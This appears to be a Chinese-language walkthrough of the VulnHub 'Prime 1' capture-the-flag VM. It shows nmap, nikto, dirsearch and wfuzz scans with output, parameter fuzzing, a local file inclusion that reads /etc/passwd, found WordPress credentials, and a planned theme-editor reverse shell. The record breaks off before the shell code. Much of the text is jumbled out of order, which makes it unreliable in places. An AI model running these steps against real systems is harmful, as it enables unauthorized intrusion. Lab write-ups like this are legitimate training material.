https://www.vulnhub.com/entry/prime-1,358/
主机发现端口扫描
- 探测存活主机,137是靶机
- nmap -sP 192.168.75.0/24
- //
- Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 16:25 CST
- Nmap scan report for 192.168.75.1
- Host is up (0.00028s latency).
- MAC Address: 00:50:56:C0:00:08 (VMware)
- Nmap scan report for 192.168.75.2
- Host is up (0.00026s latency).
- MAC Address: 00:50:56:FB:CA:45 (VMware)
- Nmap scan report for 192.168.75.137
- Host is up (0.0010s latency).
- MAC Address: 00:0C:29:69:EE:71 (VMware)
- Nmap scan report for 192.168.75.254
- Host is up (0.00018s latency).
- MAC Address: 00:50:56:F8:B3:1A (VMware)
- Nmap scan report for 192.168.75.131
- Host is up.
复制代码 - 扫描靶机所有开放端口
- nmap -sT -min-rate 10000 -p- 192.168.75.137
- //
- Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:54 CST
- Nmap scan report for 192.168.75.137
- Host is up (0.0014s latency).
- Not shown: 65533 closed tcp ports (conn-refused)
- PORT STATE SERVICE
- 22/tcp open ssh
- 80/tcp open http
- MAC Address: 00:0C:29:69:EE:71 (VMware)
复制代码 - 扫描服务版本及系统版本
- nmap -sT -sV -O -p22,80 192.168.75.137
- //
- Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
- Nmap scan report for 192.168.75.137
- Host is up (0.00045s latency).
- PORT STATE SERVICE VERSION
- 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
- 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
- MAC Address: 00:0C:29:69:EE:71 (VMware)
- Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
- Device type: general purpose
- Running: Linux 3.X|4.X
- OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
- OS details: Linux 3.2 - 4.9
- Network Distance: 1 hop
- Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码 - udp扫描
- nmap -sU 192.168.75.137
- //
- Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-22 17:57 CST
- Nmap scan report for 192.168.75.137
- Host is up (0.00073s latency).
- Not shown: 997 closed udp ports (port-unreach)
- PORT STATE SERVICE
- 68/udp open|filtered dhcpc
- 631/udp open|filtered ipp
- 5353/udp open|filtered zeroconf
- MAC Address: 00:0C:29:69:EE:71 (VMware)
复制代码 - 扫描漏洞
- nmap -script=vuln -p 22,80, 192.168.75.137
- //
- PORT STATE SERVICE
- 22/tcp open ssh
- 80/tcp open http
- |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
- | http-slowloris-check:
- | VULNERABLE:
- | Slowloris DOS attack
- | State: LIKELY VULNERABLE
- | IDs: CVE:CVE-2007-6750
- | Slowloris tries to keep many connections to the target web server open and hold
- | them open as long as possible. It accomplishes this by opening connections to
- | the target web server and sending a partial request. By doing so, it starves
- | the http server's resources causing Denial Of Service.
- |
- | Disclosure date: 2009-09-17
- | References:
- | http://ha.ckers.org/slowloris/
- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
- |_http-csrf: Couldn't find any CSRF vulnerabilities.
- |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
- | http-enum:
- | /wordpress/: Blog
- |_ /wordpress/wp-login.php: Wordpress login page.
- |_http-dombased-xss: Couldn't find any DOM based XSS.
- MAC Address: 00:0C:29:69:EE:71 (VMware)
复制代码 扫描出 slowloris DOS用不上,以及cve2017-1001000 ,并且扫出存在wordpress 版本是 http://192.168.75.137/javascript/[18:49:32] 403 - 279B - /server-status/[18:49:32] 403 - 279B - /server-status[18:49:36] 200 - 1KB - /wordpress/wp-login.php[18:49:36] 200 - 4KB - /wordpress/[/code]查看/dev ,由于它不是一个正常该有的目录- nikto -host 192.168.75.137 -port 22,80
- //
- - Nikto v2.5.0
- ---------------------------------------------------------------------------
- ---------------------------------------------------------------------------
- + Target IP: 192.168.75.137
- + Target Hostname: 192.168.75.137
- + Target Port: 80
- + Start Time: 2024-09-22 18:44:45 (GMT8)
- ---------------------------------------------------------------------------
- + Server: Apache/2.4.18 (Ubuntu)
- + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozill.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
- + /: The X-Content-Type-Options header is not set. This could allow the user agent to render th content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/wb-vulnerability-scanner/vulnerabilities/missing-content-type-header/
- + No CGI Directories found (use '-C all' to force check all possible dirs)
- + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is th EOL for the 2.x branch.
- + /: Web Server returns a valid response with junk HTTP methods which may cause false positives
- + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
- + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
- + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
- + /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
- + /wordpress/: Drupal Link header found with value: <http://192.168.75.137/wordpress/index.php?rest_route=/>; rel="https://api.w.org/". See: https://www.drupal.org/
- + /wordpress/: A Wordpress installation was found.
- + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
- + /wordpress/wp-content/uploads/: Directory indexing found.
- + /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information.
- + /wordpress/wp-login.php: Wordpress login found.
- + 8106 requests: 0 error(s) and 14 item(s) reported on remote host
- + End Time: 2024-09-22 18:45:09 (GMT8) (24 seconds)
- ---------------------------------------------------------------------------
- + 1 host(s) tested
复制代码 意思是让我们更努力的去爆破目录?
- python .\dirsearch.py -u http://192.168.75.137/ --suffixes .txt,.zip 给字典加上.txt,.zip 后缀去爆破
- [18:49:23] 200 - 131B - /dev
- [18:49:25] 200 - 137B - /image.php
- [18:49:26] 301 - 321B - /javascript -> http://192.168.75.137/javascript/
- [18:49:32] 403 - 279B - /server-status/
- [18:49:32] 403 - 279B - /server-status
- [18:49:36] 200 - 1KB - /wordpress/wp-login.php
- [18:49:36] 200 - 4KB - /wordpress/
复制代码 查看内容得出- hello,
- now you are at level 0 stage.
- In real life pentesting we should use our tools to dig on a web very hard.
- Happy hacking.
复制代码 让我们进行fuzz爆破,大概意思是让我们在所有php文件进行fuzz ,大概就是让我们fuzz出get参数
- 扫描出所有php文件
- http://192.168.75.137/secret.txt
复制代码 当前目录下只有两个php文件我们两个都试试
- 对index.php进行fuzz
注意 --hh 136 需要对视情况进行调整,过滤掉其他结果后,最后得出file这个参数- Looks like you have got some secrets.
- Ok I just want to do some help to you.
- Do some more fuzz on every page of php which was finded by you. And if
- you get any right parameter then follow the below steps. If you still stuck
- Learn from here a basic tool with good usage for OSCP.
- https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
- //see the location.txt and you will get your next move//
复制代码 - 访问http://192.168.75.137/index.php?file=
- irb http://192.168.75.137 -X .php
- -----------------
- DIRB v2.22
- By The Dark Raver
- -----------------
- START_TIME: Sun Sep 22 20:12:05 2024
- URL_BASE: http://192.168.75.137/
- WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
- EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
- -----------------
- GENERATED WORDS: 4612
- ---- Scanning URL: http://192.168.75.137/ ----
- + http://192.168.75.137/image.php (CODE:200|SIZE:147)
- + http://192.168.75.137/index.php (CODE:200|SIZE:136)
-
- -----------------
- END_TIME: Sun Sep 22 20:12:08 2024
- DOWNLOADED: 4612 - FOUND: 2
复制代码 大概file的参数也需要我们进行fuzz,实在这事burp也可以做
但是之前的secret.txt还有一句 : //see the location.txt and you will get your next move//
以是我们访问 :http://192.168.75.137/index.php?file=location.txt
果然存在有信息- wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.75.137/index.php?FUZZ=something
- //hh 过滤掉了 字长为136的数据
- ********************************************************
- * Wfuzz 3.1.0 - The Web Fuzzer *
- ********************************************************
- Target: http://192.168.75.137/index.php?FUZZ=something
- Total requests: 951
- =====================================================================
- ID Response Lines Word Chars Payload
- =====================================================================
- 000000341: 200 7 L 19 W 206 Ch "file"
- Total time: 1.060608
- Processed Requests: 951
- Filtered Requests: 950
- Requests/sec.: 896.6547
复制代码 让我们使用secrettier360 参数去别的php页面fuzz ,大概是
别的php页面除了index.php那就是image.php
- 对image.php 进行fuzz
- 提示:Do something better you are digging wrong file
复制代码 得出参数dev ,实验访问:http://192.168.75.137/image.php?secrettier360=dev- Now dig some more for next one
- use 'secrettier360' parameter on some other php page for more fun.
复制代码 WTF?这不是之前的/dev吗,但是发现你只要在secrettier360 加上文件名,那不就是文件包罗了吗?我这里大发奇想使用php伪协议实验,但是发现使用不了,应该是禁用了
- 利用文件包罗漏洞
实验读取/etc/passwd- wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 197 http://192.168.75.137/image.php?secrettier360=FUZZ
- ********************************************************
- * Wfuzz 3.1.0 - The Web Fuzzer *
- ********************************************************
- Target: http://192.168.75.137/image.php?secrettier360=FUZZ
- Total requests: 951
- =====================================================================
- ID Response Lines Word Chars Payload
- =====================================================================
- 000000257: 200 13 L 43 W 328 Ch "dev"
- Total time: 1.031432
- Processed Requests: 951
- Filtered Requests: 950
- Requests/sec.: 922.0189
复制代码 发现saket:x:1001:1001:find password.txt file in my directory:/home/saket: ,好好好- finaly you got the right parameter
- hello, now you are at level 0 stage. In real life pentesting we should use our tools to dig on a web very hard. Happy hacking.
复制代码 密码应该是follow_the_ippsec
- 登录wordpress背景,用户名victor,密码follow_the_ippsec
为什么用户名是victor ,由于wordpress/index.php里面第一条信息就是victor 发布的,以是猜测用户名是victor ,成功进入背景
背景利用获得低级shell
<ol>进入背景,plugins → Add New → upload plugins ,上传反弹shell文件
发现没有上传权限,纵然设置关闭了以月份创建文件夹
探求别的地方上传shellcode
在Appearance→Theme Editor →secret.php 找到了可编辑保存的文件
我们将shellcode输进去
[code] |